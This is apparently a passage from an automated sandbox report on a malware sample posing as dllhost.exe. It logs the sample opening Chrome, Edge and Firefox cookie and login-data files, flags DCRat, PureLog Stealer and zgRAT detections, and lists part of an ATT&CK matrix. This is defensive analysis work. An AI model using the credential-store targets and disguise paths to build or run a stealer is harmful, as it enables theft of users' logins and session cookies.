                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-walJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For AccountJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Microsoft\Edge\User Data\Default\Login Data-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For AccountJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For AccountJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login Data-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shmJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data For AccountJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login DataJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login DataJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login DataJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login DataJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login Data For Account-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login DataJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For AccountJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-walJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Login DataJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login DataJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For AccountJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For AccountJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For AccountJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqliteJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For AccountJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Microsoft\Edge\User Data\Default\Login Data-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login DataJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login Data For AccountJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login DataJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login DataJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login DataJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior

                              Remote Access Functionality

                              barindex
                              Yara detected DCRat
                              Source: Yara matchFile source: 00000005.00000002.4103094451.0000000003281000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000005.00000002.4103094451.0000000002EEB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000005.00000002.4103094451.000000000342D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000000.00000002.1689492935.0000000012ED7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: Process Memory Space: eu6OEBpBCI.exe PID: 5928, type: MEMORYSTR
                              Source: Yara matchFile source: Process Memory Space: dllhost.exe PID: 6924, type: MEMORYSTR
                              Yara detected PureLog Stealer
                              Source: Yara matchFile source: eu6OEBpBCI.exe, type: SAMPLE
                              Source: Yara matchFile source: 0.0.eu6OEBpBCI.exe.4e0000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 00000000.00000000.1642613306.00000000004E2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
                              Source: Yara matchFile source: C:\Users\Public\Libraries\dllhost.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\aVIegkftDeblliEdgtUahRSaMtI.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Recovery\fontdrvhost.exe, type: DROPPED
                              Yara detected zgRAT
                              Source: Yara matchFile source: eu6OEBpBCI.exe, type: SAMPLE
                              Source: Yara matchFile source: 0.0.eu6OEBpBCI.exe.4e0000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: C:\Users\Public\Libraries\dllhost.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\aVIegkftDeblliEdgtUahRSaMtI.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Recovery\fontdrvhost.exe, type: DROPPED

                              Mitre Att&ck Matrix

                              ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                              Gather Victim Identity Information1
                              Scripting                              		Valid Accounts141
                              Windows Management Instrumentation                              		1
                              Scripting                              		112
                              Process Injection                              		33
                              Masquerading                              		1
                              OS Credential Dumping                              		331
                              Security Software Discovery                              		Remote Services11
                              Archive Collected Data                              		1
                              Encrypted Channel                              		Exfiltration Over Other Network MediumAbuse Accessibility Features
                              CredentialsDomainsDefault AccountsScheduled Task/Job1
                              DLL Side-Loading                              		1
                              DLL Side-Loading                              		1
                              Disable or Modify Tools                              		LSASS Memory2
                              Process Discovery                              		Remote Desktop Protocol1
                              Data from Local System                              		1
